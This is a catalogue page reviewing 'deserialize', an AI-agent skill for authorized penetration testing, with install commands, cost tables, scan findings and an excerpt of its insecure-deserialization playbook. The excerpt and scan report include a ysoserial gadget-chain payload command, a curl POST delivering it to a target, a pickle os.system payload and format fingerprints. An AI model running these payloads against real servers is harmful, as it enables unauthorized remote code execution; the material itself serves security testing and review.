PentesterFlow is a terminal-based AI assistant for authorized penetration testing and bug hunting, guiding analysts through reconnaissance, testing, evidence gathering, and reporting while requiring human approval for sensitive actions. Security engineers use it with local or hosted language models and real security tools, and the catalogue add-ons extend its workflows.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PentesterFlow/agent --skill deserializegit clone --depth 1 https://github.com/PentesterFlow/agentWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/pentesterflow/agent/deserialize)<a href="https://agentmods.dev/skills/pentesterflow/agent/deserialize"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/deserialize/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/pentesterflow/agent/deserialize"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/deserialize.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 42 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Rogue Agent · line 48 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00096 | $0.01773 |
| Opus 5.5 | $0.00038 | $0.00709 |
| Sonnet 5.5 | $0.00019 | $0.00355 |
| Haiku 4.5 | $0.00010 | $0.00177 |
Grade B, and why
deserialize scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('id > /tmp/proof',)) How it starts
The opening of the file, as written. The whole thing — 151 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure deserialization playbook
You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.
Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.
1. Fingerprint the format
| Magic | Format |
|---|---|
rO0 (base64 of \xac\xed) |
Java serialized |
\xac\xed\x00\x05 (raw) |
Java serialized |
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff |
.NET BinaryFormatter |
__viewstate / __VIEWSTATE cookie or form field |
ASP.NET ViewState (often LosFormatter/BinaryFormatter underneath) |
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03) |
Python pickle |
O: (e.g. O:8:"stdClass":0:{}) |
PHP serialize |
_$$ND_FUNC$$_ / IIFE patterns |
Node node-serialize |
!! tags inside YAML / !!python/object |
YAML with type resolution (PyYAML, SnakeYAML) |
BSON / BinData |
MongoDB BSON — deserialization paths usually safe; check anyway |
Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.
2. Java
Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).
# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"
Chains worth iterating through (depends on classpath):
CommonsCollections1..7— Apache Commons Collections.Spring1,Spring2.JRMPClient/JRMPListener— when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.URLDNS— leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3mo ago First seen · 151 lines · 96 tokens per session scan B c04cd1a670c9
deserialize is a skill published in the GitHub repository PentesterFlow/agent (1,470 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 96 tokens to every session and 1,773 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
deserialize compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| deserializePentesterFlow/agent | Skill | 1.5k | 3mo ago | Apache-2.0 | B | 96 | Claude Code |
| shannonKeygraphHQ/shannon | Skill | 52k | 4d ago | AGPL-3.0 | A | 51 | Claude Code |
| osint0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 21 | Claude Code |
| penetration-testing0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 26 | Claude Code |
| pwn-ai-agent-curriculum0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 23 | Claude Code |
| pwn-ai-agent-loop0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 20 | Claude Code |
| pwn-ai-agent-reward0dayInc/pwn | Skill | 102 | 3d ago | MIT | A | 21 | Claude Code |